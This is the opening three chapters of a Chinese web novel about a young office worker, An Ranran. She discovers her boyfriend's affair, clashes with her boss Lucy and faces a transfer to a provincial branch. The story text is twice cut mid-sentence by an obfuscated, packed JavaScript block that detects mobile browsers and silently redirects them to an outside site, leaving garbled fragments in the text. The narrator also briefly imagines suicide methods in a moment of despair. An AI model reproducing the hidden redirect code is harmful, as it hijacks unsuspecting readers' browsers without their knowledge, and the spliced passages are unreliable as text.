《副本人生》
1. 第 1 章
连续三天,他什么消息都没有回。眼睛盯着手机屏幕盯到发酸,似乎这样就会不期然地弹出他的信息。但是手机一直没有动静,就好像它从来都不会响一样。
而这个时候,我本该出现在D市的海边,度过一个美好的假期。
几近绝望地把自己扔进出租房的沙发里,手机随之滑入沙发的缝隙里。
已经过去三天了,但那一幕就像生了根一样在我脑子里发酵,我的心里像破了一个巨大的洞,狂风暴雨雷鸣闪电,随后潮湿一片。
这是第几次了?大概已经数不过来了。我们间的约会,总是一次又一次被加班开会出差陪客户所打乱。但这一次,跟以往有本质的不同。
肖平,我的现任男友,就职于F.C.Z,刚升职。他一直都忙的见不到人影,我一直都处在等待的状态——等他下班等到睡着;等他给我打电话,吃一顿本该在两周前吃的饭;等他在一个项目忙完的时候,去看一场正在上映的无论什么电影。
我开始回想,近一年来我们寥寥可数的见面,能匆匆忙忙打个招呼各自出门上班,已经很不容易。最日常的情况是:他回来的时候我大概已经睡着,我出门的时候他还没醒。
有的时候,我的脑子里会冒出一个念头,我们的感情或许早就名存实亡了。但我总是谴责自己,安冉然,你不能这么没良心。肖平只是工作忙,他在为了你和他的未来奋斗。
但近来,我的意念开始动摇——我和他的未来,是真正捆绑在一起的未来吗?
只要一吵架,肖平就会自觉主动进入冷战状态,每一次我都有一种被分手的错觉。但只要他稍微低个头,我就欢天喜地地迎接他重新回到我的生活当中,绝口不提我们间的龃龉。
我们俩之间,他一直秉承着打个巴掌之后给个枣子的态度。我则每次只要他给台阶,就乖乖的顺着杆子往下爬。有的时候也忍不住骂自己,怎么这么犯贱?
唯一例外的一次,是因为他踩到了我的底线:他认了个所谓的干妹妹,那个女的一看就是盛世绿茶,可他非说我对人有偏见,要介绍我们认识,多接触之后,就会对她改观。然后,在我生日那天,盛世绿茶打电话给他说自己病了,没人送她去医院,肖平送她去医院,把我一个人扔在餐厅里,气得我一个朵星期没搭理他。
他结束冷战的方式是:订一间平时不会去的高级餐厅;买一件价格不菲的礼物;赌咒发誓再也不联系外面的“野花”。
当然不是每一次都是他低头,有时候他会毫不留情地当面抱怨:他是为了未来打拼,而我纯粹是因为闲的蛋疼,才会总是冷不丁给他找茬。
而我们这一次的吵架,如果没有后续的插曲,大概也不会逃出这样的惯例。
我已经快到机场了,收到他的微信——我还在加班,项目实在走不开,旅行取消吧。
现在面对他时不时的爽约,已经不像第一次那样对我造成致命性的冲击了。大多数时候,我可以一边在心里骂娘,一边淡定地回他消息,“没事,工作要紧,你先忙。”
但这一次,我只觉得一股无名火冲上了天灵盖。在出发前,我特意发了微信提醒他航班号和时间,甚至在我上地铁的时候,还给他打了语音电话。
我火速拨通了他的电话:“你到底什么情况!不是早就请好假了?!你们公司除了你就没人了吗?”
他很不耐烦地回应:“我也没办法,项目出了问题。老板在,不说了! 有空给我打电话,你不如看看机票住宿能不能退掉。”
我觉得他是疯了,再有两个半小时,飞机就该起飞了。除非航空公司是我爸或他爸开的,否则鬼才会退钱给我们!但酒店,说不定还有退的可能性。
挂了电话马上联系酒店退订,被告知当天无法退,后面几天的需要扣20%的手续费。我一阵肉疼,就这么短短的几分钟,损失了我将近一个月的工资。
处理完退订之后,盘算着去商场逛一逛买套护肤品。随着旅行的取消,原本旅行回程去日上免税店囤护肤品的计划,也完美宣告破产。
商场的价格比日上贵了30%还不止,我心疼自己并不丰厚的钱包,同时抱怨肖平的不靠谱。
当我还在犹豫要不要买的时候——毕竟才损失了一笔旅行费用,抬头看见了一张熟悉的侧脸。
就在斜对面的香奈儿柜台,一个妖艳异常的女人一手挽着肖平的胳膊,一手指着一只粉嫩的包。不知道肖平说了什么,那个女人笑得花枝乱颤,头一歪搁在了我的专属“副驾驶”上——我们刚谈恋爱的时候,肖平总愿意我揽住他的胳膊,把头搭在他的左边肩膀上,他笑着说没买车前,他的肩膀就是“副驾驶”位,不会让其他女人靠。
脑子里一片空白,周围的空气变得异常稀薄,肺里的空气像是被抽干了一样,呼吸困难。
我有一瞬间的眩晕,不敢相信眼前这个男人,就是那个号称为了我们的未来,在公司彻夜赶项目的伟大男友。
甚至,我觉得自己看到了幻像,这个长得像肖平的男人,并不是他。
我颤巍巍地掏出手机,给肖平打电话。
在手机彩铃——是我喜爱排行榜上排名第二的歌Lou Reed《完美的一天》——快播完的时候,对面的男人接起了电话。
“在哪儿呢?”
“还能在哪儿……”他的声音里透着不耐烦和几不可辩的心虚,“当然是在办公室。你没事别总给我打电话,让领导看见了不……”
他转过身来,“好……”
四目相对的时候,他显然愣了一下,我的第一反应不是冲上去给他一个巴掌,而是转身就跑。
我从来没想过这种狗血的背叛会赤裸裸的眼见为实,明明很想哭,可是眼角却干涩的需要滴眼药水。
也许我早就知道我们间的感情只剩下虚假的躯壳,只是不愿意承认而已。只要有一个可以躲避的理由,我就像是遇到风暴的乌龟一样,可以缩进壳里面。
但这一次,亲眼看到他挽着一个女人,在久光里买香奈儿包包。
这个像核导弹一样的事实击垮了我。
“不给我个解释吗?”简单的几个字用尽了全身的力气,我哆哆嗦嗦的按下发送键之后,抑制不住的全身发抖,全身的毛孔张开,仿佛都在叫嚣“安冉然,你能有出息点吗?”
其实我都不知道,如果他给我一个借口,我会不会一如既往当做那是自己的一个幻觉?
我茫然地坐在沙发上,努力地回想能够证明我们依然相爱的证据,但似乎只剩下一片空白。是谁说的,相爱过的人无论如何都会留下痕迹?
筋疲力尽地靠在沙发上,其实我们之间或许只是一种习惯,就好像每天醒过来迷迷糊糊眼睛还没完全睁开的时候我习惯了喝一杯温水,习惯开着电视当作白噪音,在他晚回来的时候给他留门……他,也成为了我习惯的一部分。我习惯了有这样一个人,在这个我并不熟悉的城市里给予我安全感。
手机“叮”的响了一声,我紧张地发抖,抓起手机,紧紧攥在手里——“恭喜你获得38000元奖金,请于7月3日之前到深圳市领取奖金”,该死的垃圾短信仿佛在嘲笑我的悲惨。
我恨恨的把手机扔在一旁,没想到自此之后连垃圾短信都不再光临。
就这样结束了吗?
肖平甚至连一句正式的分手都不肯给,第一次觉得这段恋情满目疮痍,如此不堪。我甚至觉得连呼吸都变得困难,满脑子里被热恋时候的甜言蜜语和吵架之后的悲情音乐来回冲击,头疼欲裂。
这几天夜里都是睡了醒,醒了再睡,各种各样的梦境绵延不断。从跟肖平在一起,义无反顾地离开X城来S市发展,最初的甜蜜到现在的冷漠,再到商场里的那一幕,像不连续的电影片段一样,穿插着来回播放。
如果可能的话,我甚至希望自己没有一时兴起去逛商场,这样他仍然是那个为了我们未来打拼而顾不上我的好男朋友,我仍然可以为了一点小事跟他吵架。
手机突然响起来,难道是他终于幡然悔悟,打来求我原谅,还是想要告诉我一切都不过是个误会,那个女人不过是他的远方表妹?
人在倒霉时不能乱撒脾气,被我扔出去的手机卡在了沙发缝里。我费了半天劲也没能解救
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672105|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
它,手却卡了进去。铃声不依不饶地响着,终于在无人应答的无奈中归于平静。
经过跟沙发的一番奋力搏斗,最终手和手机都拔了出来,只是手肿成了猪脚。与此同时,手机像是有心灵感应一般重新响起。
我来不及看,抓起电话“喂”了一声之后不再说话,我不知道该说什么才不至于泄露了自己的胆怯。
“Monica,你能给我一个合理的explain吗?旷工三天,你是不想干了吧?!”电话那头响起尖锐的女声。
没错,那个叫莫妮卡的倒霉蛋是我,电话那头是我那位提前进入更年期的女老板露西黄。
“老板,我跟您请过假。”我几乎是有气无力地从牙齿缝里挤出这么几个字。
公司里没有人知道露西的中文名叫什么,她从来没有提过,当然也没有人不识相的去问这个无关轻重的问题。
公司人最津津乐道的是她的与众不同。别误会,不是有个性,更加跟特立独行扯不上关系,是一般人完全无福消受的那种不同:露西绝对算得上公司近代史上的一朵奇葩,虽然已经年近五十,她却一直把自己当做二八少女,从穿着打扮到说话措辞都让人接受无能。
当然,她从来吝于在我面前表现这一面,我只能看见她更年期老妇女的做派。
我原先一直纳闷,外企不是号称对人要求颇高,露西这种完全没有外企气质的人,怎么还能居于高位?自从兼任了她的助理之后,经常能听见她在自己的独立办公室里对着电话大呼小叫——被训斥的当然都是像我这样的倒霉蛋或我们的供应商倒霉蛋。
然而,不得不承认,我也见识到了露西把所有跟她有关的事情都办漂亮的本领。这也解释了为什么我们的外国老板每次来中国,都非常乐于接受露西的各种安排,并大肆赞扬中国区的员工素养。
我把电话拉开一段距离,免得我的耳膜受到不可逆的物理性伤害,但于事无补,完全阻挡不了听筒里高亢具有穿透力的声音,“我不可能批过你的假期!赶紧给我滚回来加班!”
“Lucy,麻烦您看下邮件。”我努力回想着她回复我邮件的时间,但脑子里一片空白。
“系统上我批了吗?!”电话那头咄咄逼人的口吻让我的脑袋疼痛值飙升。
我愣了愣,想起来她口头批准过我的请假申请,而给她写的邮件里我曾提到“请假申请已在系统提交,请您届时审批”。
她有没有邮件回复批准假期,或者邮件回复了我的请假却没有系统审批?我开始在脑子里搜刮,一无所获。
我不记得自己是否曾看到过她的审批记录,抑或我实在沉醉于即将开始的美好假期,压根不记得去查阅邮件和系统;至少目前的情况是:露西眼中子虚乌有的请假,我脑海中已然是板上钉钉的审批完结,两者完全没达到平衡。
Whatever,现在请假事件已经成了罗生门。
电话里继续传来她喋喋不休的声音,像一只苍蝇一样在我耳朵边嗡嗡叫:“我交给你的办公室年度行政预算,你做到哪儿去了?! Performance这么差,还不赶紧给我死回来加班!不想干的话,有大批人等着。”
“你给我闭嘴!”我脑子都快炸开了,冲着话筒大声喊,完全忘记了那头是无比记仇的女巫上司。
露西一下子没了声响,估计是被我突如其来的气势吓到了。几秒钟之后,她以前所未有的冷静说了一句“明天一早到我办公室”之后,啪的一声挂断了电话。
安冉然,干得漂亮。失恋还不够你衰的,竟然对着老板大吼,非得当个双失青年才肯罢休吗?置之死地而后生,人生重新开始?做梦去吧,tomorrow is another day,没错,明天是万念俱灰的一天。
我无力地瘫在地板上,满世界都奏起哀乐。房间里的各个角落都弥漫着哀伤,墙壁上的钟发出清脆的滴答声,清清楚楚地提醒我离明天只剩下六个小时。
躺进浴缸割血管,还是关紧窗户打开煤气,哪一种死法会更干脆利落一点?如果这样能把过去一笔勾销的话,我宁愿重头来过。
2. 第 2 章
再一次从梦里猛然惊醒,我下意识去看钟,五点刚过十分钟,我的耳朵里响起今天的主旋律——失业。
不小心压到肿了的右手,疼得龇牙咧嘴,一下子清醒过来,睡意全消。
“叮”的一声短信提示音,在黑暗中异常响亮。我抓起手机,顿时像遭了雷劈一样浑身发颤。
“您账户3974于5月10日05:10发生扣款13000元。【招商银行】”
我愣愣地盯着那条短信,我知道我应该马上打电话去招行,但手却一直抖,13000元,是我全部的积蓄。
我也不知道每个月的钱花在哪儿,工资到账,还完信用卡就不剩什么了。
房租水电煤绑定的是肖平的卡,这次假期旅行的费用也是他出的。
想到三天之前,我不遗余力地跟旅行社讨价还价想尽可能降低损失……现在想起来,太TM可笑了!!!我在忙着为他省钱,那个混蛋在忙着出轨。
过了一会儿,我才跌跌撞撞地从床上爬起来,疯狂地找我的手提包。那个平时看上去能装下一只非洲象的托特包,像穿了隐身衣一样,完全不见踪影。
最后,我在沙发背后找到了四仰八叉的包,口红和化妆镜已经从包里逃离,仿佛彼此并不认识一样散落在沙发的两边。
我拽起包的两个角,把包里的东西一股脑倒在地板上,本该在手提包夹层里的钱包不见了踪影——里面有我的银行卡和身份证。我像疯了一样到处翻,任何一个角落都不放过,一无所获。
我扯着头发,蹲在地上,眼泪就好像堵塞了几天的水龙头突然一下子通了,稀里哗啦,一发不可收拾。
如果没有记错,我只剩下一百多块。小偷没有把所有的钱都转走,也许是嫌输入191.87麻烦,也许是良心未泯……绝望如同滔天巨浪一样,打得我两眼发黑,呼吸困难。
工作了五年,我还是个月光族。这个繁华的都市也许像别人所说的遍地是机会,可没有任何一个机会属于我安冉然。
还记得第一次来到S市的情景,坐了十几个小时的火车,疲惫不堪。列车缓缓驶入火车站,我把脑袋贴在车窗上向外看,心里不由一阵失意——这车站挺破旧的。直到看到肖平,他穿着白T恤牛仔裤,神采奕奕。我才觉得这个城市明亮了起来。
他破天荒地打了个车,一路上都是高楼大厦,阳光照在玻璃上闪闪发光。我的心里涌起一阵阵的真实感,这才是想象中的大城市。
后来,我习惯了高楼大厦,习惯了超市商场,习惯了出门打车……也习惯了拿到工资的第一时间还信用卡,习惯了到了月底开始盼望下个月发工资,习惯了想要出国玩但因为没钱而一直都在物价便宜的城市旅行……
我看了看自己,浑身上下没有一件奢侈品,也从不乱花钱,可我也从攒不下来钱,银行卡里的13000还是去年的年终奖。
我的脑子里蹭的响起一个声音:安冉然,你绝不能失业!现在工作是你唯一的希望!你必须挽救自己犯下的错误!!
我不知道是怎么出的门,奇迹一般准确无误地到达了办公室。在踏进门的那一刻,忐忑不安打败了茫然痛苦,占据了情绪的至高点,就连肿胀的眼睛都隐隐泛出焦灼的光芒。
前台大胸妹Lola一反常态没有浓妆艳抹,这说明这几天露西的心情不好,非常不好。Lola号称办公室雷达,尤其擅长根据露西的心情状态改变妆容。我的心里咯噔了一下。
果然,她连平时撩头发的动作都省略了,抬起眼,声音没有以往的波澜起伏,面无表情地通知我,露西已经在办公室等我。
我做好了被臭骂一顿,然后卷铺盖走人的准备。死就死吧,还有什么比被背叛更惨的,不就是份工作吗?这种想法刚刚冒头,就被理智打压了下去:我的银行卡里只剩下三位数,失去这份工作,下个月的主题就是——露宿街头。
战战兢兢挪到露西办公桌前,她上上下下扫视了我两遍,“说说看,昨天怎么回事?”露西难得的和颜悦色,让我内心兵荒马乱——露西的和风细雨除了美国老板,就只有客户能够享用——而对下属,摧枯拉朽暴风骤雨才是她的常态。
“露西,那,那个,我不是故意的……”我结结巴巴地说。
“不用道歉。你是不是不爽我很久了?”
“啊,没……没有啊。”我被露西的直白吓了一跳。
“你劈头盖脸让我闭嘴的气势去哪了?”露西呼的一下站起来,恢复了千年晚娘脸,“昨天把老娘骂的跟孙子似的,你是不是超级爽?是不是不想干了?”
我松了一口气,露西用了惯常的口吻和方式,这意味着我暂时到了安全地带。
“那怎么会……那,那个,我失恋了……”
“不就失个恋,你们这些小姑娘成天不把心思放在工作上,光想着谈情说爱……”露西翻个白眼,“被人甩?等你到了我这个年纪,会知道钱才是最靠得住的。等你有钱了,想要什么男人没有?”
我第一次对露西有了好感,但现实马上给了我一记响亮的耳光——我实在是年少无知太天真。
还没等我把这句话咀嚼消化反刍,一道晴天霹雳直直地砸在我脑门上。
“别说我不给你机会。反正你失恋了,干脆换个环境。”
露西从厚厚的一堆文件里抽出一个蓝色文件夹,横着扔到桌子上,“T市有个新项目,分公司人手不足,需要从我们这抽调人员支持。我盘点了下大家的职能和手里的工作,觉得还是派你去比较合适。”
我心里一声哀嚎,这还不如让我直接引咎辞职,整个公司都知道Raymond Zhou是出了名的工作狂,在他手下我怕活不过三个月。
作为一家国际化的4A公司,进入中国之初根植于一线大城市。这些年经济不景气,加上大城市竞争激烈,同行都对资金实力雄厚的二三线城市的大企业客户虎视眈眈,跨省业务成为常态。
我们这些所谓的4A,早就低下了高贵的头颅。虽说对客户也还是挑剔的,但早就没了品牌和规模的门槛。也别说有奶就是娘,毕竟要想不裁员,营收才是王道。
看上去似乎是以一线城市为中心向二三线辐射的业态,可T市的分公司自从三年前成立后,大有风向标的意味,成立第一年业绩就占到了大中华区业绩的40%;去年势头更猛,接二连三拿下了好几个大客户,目前业务已经超过总部。三线城市的金主爸爸们才是真的豪气。
尽管如此,总部对分公司仍然是不屑一顾的状态。每年回总部述职,他们那一行人也是光鲜亮丽精英派头,可说不清是为什么,总部人很排斥他们,总有一种格格不入的感觉。
其实现在分公司的一把手,Raymond Zhou,周明凯,是自动请缨开拓新市场。他在总部所有人都不看好的情况下,只从总部带走了原先组里的两个人,后续在当地招人建团队。
我跟他的接触非常少,只零零星星听过他在GT的传闻:杀伐果决,不近人情,一切只为了达成目标。在work life balance理念至上的外企来说,他就是个异类。用当下正当热的词儿来说,Raymond就是内卷王。
工作狂,外加要求高为人严苛,跟他一起工作过的同事对他的评价毁誉参半,不过业务能力强这点却毋庸置疑——这个人对于数字的敏感程度惊人,他能够不看报表,全凭脑子搞出环比、同比增长及平均人效等各种数据。对于下属,他要求的不是八十分,而是一百二十分。
如果非要用一句话总结,那这个雷蒙德,是一个业务能力超强但让人敬畏的神人。
我曾经远远看过他一眼,身姿挺拔,眉眼冷峻,一看就不好相处。
而我,作为一个行政人员,即使平时协助销售部门做一些报表统计工作,但对于公司整体业务流仍然处于一知半解的状态。至于RIO、SEM、SEO、PPC之类,我更是一无所知。除非他们是想要一个后勤人员预定客户的会议行程、给项目组同事订餐买机票、处理各种项目款之外的报销事宜,否则我对他们毫无用处。
我的脑袋里嗡嗡作响:虽然我对自己的工作得心应手,但我已经习惯凡事做到及格就好。
露西黄并不是业务项的人,在她手下干活儿虽然容易被骂,但论标准却委实不高。我要是去了T市,还不得被Raymond拆筋剥骨。
“露西,我怕应付不了。”不用怀疑,我颤抖的声音完全是因为恐惧,“我不过是个行政专员。”
“如果我没记错的话,你本科专业不就是市场营销。”无比诡异的笑容在露西脸上扩散开来,“我们的公司制度里有写明,可以根据员工的背景和经历进行轮岗。你有两个选择,一、回位置上写一封申请,自动请缨去T市;二、交一份离职报告。”
在办公室门口,露西看似不经意地压低声音说:“别说我没提醒你,旷工三天可以无条件解除劳动关系。今天是你交报表的最后期限。”
然后,她貌似亲切地拍了拍我的肩膀,用整个办公室都听得见的声音说:“Monica,我希望你慎重考虑,珍惜公司给你的这次机会!”
我从办公室出来,不意外看到一众同事的同情。
S市是南方一线的商业城市,是以金融为主的时尚之都。T市只能算是三线城镇,就是那种劳动密集型产业聚集区。我刚进公司的第一年去出过一次差,对于那个挤满了各类制造业的城市满心鄙夷,尘土飞扬,跟时尚潮流没有一毛钱关系。别说shopping mall,他们最时髦的是大概比我年纪还大的百货商场,里面售卖的东西大概只适合我外婆。
从一线大都市到一个三线小城镇,此次的调岗无异于流放。
被这样一个晴天霹雳劈中之后,我六神无主回到了座位上。
脑袋发胀,我对着电脑屏幕发呆。浑浑噩噩地打开那张年度行政预算表格,现在已经是第二季度了,而这张表格早在三月初就交给了露西。可笑的是,她直到前几天还在问我要年度行政预算。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672106|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我翻找邮件,显示邮件未读。打开微信,这张表格已经过期了。嗤笑了一声,我在原邮件基础上重新发给了她。
隔壁的Belle一边咬着海苔饼干一边口齿不清地读着自己刚刚写好的文案。曾经我以为她只是工作时吃零食作为调剂,后来才知道如果不吃海苔,她根本没法写东西。上一次轮到她做会议记录时,我的耳朵里回荡着撕扯塑料包装和压低了仍然很大声的“咔嚓咔嚓”咬海苔的声音,让我有一种办公室里的老鼠已经可以光明正大跟人类共处的错觉。
Tony Wang在大声地打电话跟客户沟通,挂电话前的谄媚逢迎跟之后的咒爹骂娘形成鲜明的对比,“整一个大傻逼”,典型的王氏总结语之后,归于寂静。
Lora掏出镜子开始画眼线,这说明这一轮的露西危机已经过去了。
露西绝对是以公谋私,打击报复,我咬得牙龈生疼,可是我却没有任何选择。
今天上午仿佛跟任何一个上班的上午没什么不同,只有我知道,我的人生被强行打回了原形。原本我以为已经摆脱了小城镇,尽管在大城市里我活得不算好,可也不算太差。
我掏出手机,试图找出在我人生最难熬的一个半小时里,有人留言给我。就算不是安慰,只是随便跟我说点什么。但是,没有,完全没有。短消息,微信,□□,挨个检查一遍之后,我开始怀疑手机是不是跟我的脑子一样,一遇到不开心的事情就自动当机,于是我开始折腾着关机重启。
那个被咬了一口的苹果重新出现在屏幕上,显示去年换的手机性能良好。停留了几秒的招牌苹果标志,仿佛同时也在嘲笑我的智商。
我终于确信那个负心汉完全没有找过我。
心里泛起惊涛骇浪的恨,就算没有爱情,我们相处了五年多,难道连最起码的关心都没有吗?难道他就不担心我受不了刺激开个煤气割个手腕吗?难道他连发个短信问问我还活着吗的时间都没有吗?
我内心的烦躁跟抑郁已经达到了顶点,我想要大声哭喊,想要捶桌子骂娘,想要砸东西,却悲哀的发现自己根本发不出任何声音。明明早就知道的事实,为什么我还抱着一丝丝希望?
甚至连自己都说不清楚,分手和被分手有什么差别。也许人类就是这样一种动物,当生活向你接二连三抛出恶意和打击的时候,连自己都会怀疑是不是全世界都遗忘抛弃了你,而似乎命运扼住了你的喉咙,让你连挣扎的嘶吼都只能消弭在唇齿间。
我不知道自己是怎么样熬到下班时间的。离六点还有十五分钟,大家就开始悉悉索索的收拾东西,曾经我同他们一样,每天带着上坟一样沉重的心情上班,提前放学的雀跃心情准备下班。
但现在,却成了鲜明的对比。
对面的Angela一如既往把眼线画得高挑而粗壮,快要溢出嘴角的口红叫嚣着“老娘天下最美”的人生态度。不用问,白天在客户面前低眉顺眼的女子又要变身夜场天后,人生得意须尽欢是她的人生格言。她踩着9公分的高跟鞋,摇曳多姿地从我面前走过去,突然折回来,大惊小怪地问了一句,“你眼睛怎么肿了?”
一时间,所有人的眼光都停留在我脸上。但不过三秒钟,继续低下头收拾东西,当六点一到,办公室里已经一片寂静,所有的人好像一缕青烟一样消失不见。
生平第一次,我害怕回到那个没有人的房子里,曾经认为的安静祥和在这一刻都变成了让我无比痛恨的场景。
我翻着自己的通话记录,发现除了跟他寥寥无几的几次通话之外,剩下的是一片空白。我的脑子里也一片空白,这个时候哪怕有战斗机在我耳边轰鸣,我都不会有任何的反应。
刚开始恋爱的时候,曾经多少次,他忙完之后总会给我电话,两个人一起去街边小店吃宵夜。在刚来S市的时候,我再一次重温了那些甜蜜时刻。尽管他每天很忙,但总是见缝插针地给我发消息,约好等他电话一起去吃晚饭。
在等他电话的时候,我总是满心欢喜。就算有很多琐碎让我心烦的工作,要坐很久的公交才能到他公司附近,都不会抵消这种等待所带来的悸动。就比如那只狐狸说过的,你下午四点来,那么从三点钟起,我就开始感到幸福。
而现在这一刻,我清楚地知道无论我再如何等待,都只是一场徒劳。
有希望的等待跟看不到头的黑暗完全不是同一件事,我的内心涌起无比的荒凉和空洞,就好像一个深不见底的黑洞,把所有的光亮都吞噬殆尽。
晚风从大大的落地窗吹进来,五月的风还夹杂着丝丝凉意。天色就在一眨眼的工夫里暗了下来,对面大楼的灯亮了一排。我缩了缩肩膀,慌乱的情绪像是约好了一样在我的心里飘来荡去。
你或许没有体会过这种慌乱,那是仿佛已经早早地看到了未来不过是一个接着一个没有意义的早晨和傍晚。一只凶猛的野兽张大嘴巴,所有的希望排着队坠入它的喉管,甚至连一丁点儿声响都没有。
这一天,在焦虑和不安两者的撕扯当中,过去了。
3. 第 3 章
凌晨两点从睡梦里惊醒,外面的大风吹得窗户咯吱作响。一声闷响从厨房的方向传过来,在一片漆黑里格外惊心动魄。
伸手去开灯,依旧一片黑暗,难道是没交电费?我在脑子里努力搜索,是否近期有收到过电力公司的停电通知单?可是我的脑子里一片混沌,什么都想不起来。
脑海里突然窜出来各种入室抢劫的镜头,吓得我一身汗,这下子醒得彻底。
在床头柜上摸到手机,刚想按亮它,突然想到,这个情况下还是黑暗最安全,何况值钱的东西只剩下手机了。
拖鞋不知道踢到哪里去了,我只得光着脚,披着头发,蹑手蹑脚地摸到门背后,在抓到扫把的那一刻,轻轻地呼出一口气。
紧紧地攥着扫把,好像这样我就会生出无穷无尽的力量。一步一挪到厨房门边,警惕地向里面看,生怕有个黑影从什么角落窜出来,一把勒住我的脖子。眼睛已经适应了黑暗,厨房里别说人,一个鬼影都没有。莫名丰富的想象力并不是什么好事。
一股豆瓣酱的味道冲到鼻子里,终于知道那声闷响从哪里来。原来是大风把放在窗台上的塑料坛吹到了地上,坛子里装着年前从家里带回来的豆瓣酱,不用想也知道现在地面上肯定一片狼藉。
所有的力气一下子被抽空,扫把扔在一边,我瘫软在地板上。
我的人生就像这个房间一样,一片黑暗,狼狈不堪。外面星星点点的灯光透进来,我的心头一片凄凉,他们这么晚都在干什么呢?但无论干什么,都比现在的我要幸福。我甚至想,如果真的是欠费停电,我是要交电费,还是先顾着自己别饿死。
我不知道我的人生怎么会变成了这样,失恋,濒临失业,没钱,没有未来……以前的开心快乐,没心没肺都成了一场笑话,让我有大哭一场的冲动。
我的头胀得发晕,眼前晃着肖平的影子,脑子里不受控制地开始想我跟他的那些过去。是的,曾经是甜蜜的一部分,现在只是或迟或早都会消失的过去……
如果可以选择,我想打开我跟他的那部电脑操作器,打开桌面,拖动鼠标,把所有的甜蜜全拖进回收站,甚至连“叮”的一声都不会发出来,就彻底地从我的生命里抹去。复制,粘贴,修改……彻头彻尾变成另一个版本的故事,至少不要像现在的狗血剧情一样。
肖平是我的第二个男朋友,第一段感情发生在情窦初开,懵懂无知的年龄,朦胧却不深刻。加上我虽然外表是乖乖女,其实小时候被爷爷奶奶娇惯得不像样子,所以任性得很——信奉自己快乐大过天,诚然,第一段感情不欢而散,大概就是那种伤害了别人却觉得天经地义。
当他出现的时候,我曾以为他就是真命天子。
现在想起来,也许这是一种轮回?
我拼尽全力想要回想起我们曾经的浓情蜜意,但是,此时此刻,我却不断怀疑它们的真实性。
我同他曾经那样甜蜜那样默契,他一直说要给我更好的生活,为了我们的未来努力工作,也许再做完几个项目,就可以在S市买房。
他越来越忙,每天的电话短信缩减为三天一次,再到后面的一周一次。见面的次数在最近三个月也屈指可数。
我们已经快两周没见面,肖平宣称他有一个非常重要的项目,生死攸关,最近一个月都要在办公室安营扎寨。当然,他强调这一切都是为了我们的未来。
而我没有任何可以抱怨的理由,就我那点微薄的工资,只能勉强养活自己。想要过得稍微舒心一些,都来自于肖平所宣称的努力工作。
当时他抱歉的眼神还历历在目,结果一转眼就看到他搂着别的女人花天酒地。可笑的是,我还自认为是天下最明事理最懂事的女朋友。
他信誓旦旦地宣称他不会缺席我们五周年的纪念日旅行,然后把他的信用卡给了我,让我去订一趟想了很久的旅行。
在那一刻,我对于他说的一切都深信不疑,且十分感动。
为了订到价格合适的行程,我熬了几个通宵对比旅行社所提供的报价,看S市去D市的机票,看D市的星级酒店,从机酒打包价到单独购买价,力求在最低预算内实现性价比最高的旅行。
甚至还做了个Excel,标注了旅程费用表。我大概把在学校里所学的所有知识都用在了这次的行程预定上。
这个骗子!这个混蛋!!这个无敌的挨千刀的大渣男!!!去他妈的感动!!我真的是脑子进水了,才会相信他的话。
愤怒代替了悲伤,我惊诧地发现,也许我早就触及了这段关系的本质,但我害怕,我拒绝承认,自欺欺人的鸵鸟态度从来都是我面对困难时候的唯一解决方案。
就像我从来都不愿意承认,工作的这么些年,我从来没有主动去承担超出自己能力范围的困难工作。我从来都是因为能做而去做,从来没有因为想做而去做一件事。
而我对于肖平日复一日的忙碌和日渐敷衍选择无视和所谓的“理解”,是不是也是跟我一贯以来的解决方案有关呢?
推开窗户,在一片黑暗当中看着街道上的灯光和远处的霓虹灯闪烁,S市是个不夜城,而那些喧嚣和热闹,从来都不属于我。
我只是一厢情愿地沉浸在肖平给我编织的那个梦里面,不愿意醒过来。
这座城市的确没有值得留恋的地方,跟红顶白,现实的让人觉得可怕。穷极一生也未必买得起房子,不知道能不能安家落户的恐慌,看上去时尚华丽却跟我没有任何关系的灯红酒绿。以前或许说肖平是我留在这个城市的理由。那现在呢?我留下的理由是什么?
灯骤然亮了起来,晃得我眼睛发花,整个房间里笼罩着一种不真实的烟雾感。
在恐惧的黑暗过去之后,莫名而来的光明,让我不知所措。
然后一阵阵绞痛在我的胃里涌动,召唤我回到了现实生活当中。我冲进厕所,趴在马桶上,一阵干呕,却吐不出来任何东西。
我无力地瘫坐在卫生间的大理石地面上,虽然已经是初夏,然而夜晚的地面依然以凉意迎接我。
过了一会儿,我爬起来,打开水龙头,漱口。
等我抬起头的时候,镜子里的人眼睛肿得像金鱼,乌黑的眼袋快掉到胸部了——那是我没错,为什么看上去那么陌生。我牵强地扯一下嘴角,肌肉僵硬,我有多久没有从心里面笑过了。突然很厌恶这样的自己——像一具没有灵魂的空壳,且这具躯壳还跟赏心悦目没有什么关系。
洗手台上并排摆着情侣漱口杯,粉色的漱口杯里插着牙膏和我的牙刷,湿漉漉的牙刷彰显着她今天刚刚接受过主人的召唤;而蓝色的那只里面空荡荡的,肖平说要加班的那天就带走了他的牙刷。
水哗啦啦地流着,我拎起蓝色的漱口杯,冲干净之后扔进旁边的垃圾桶。
然后,我开始在整个房间里搜寻他留下的痕迹,屈指可数,乏味可陈。除了被我扔掉的漱口杯,卫生间里只有剃须刀是他的,衣橱里也只剩下他的几件T恤和裤子。内裤袜子这些倒是都还在。
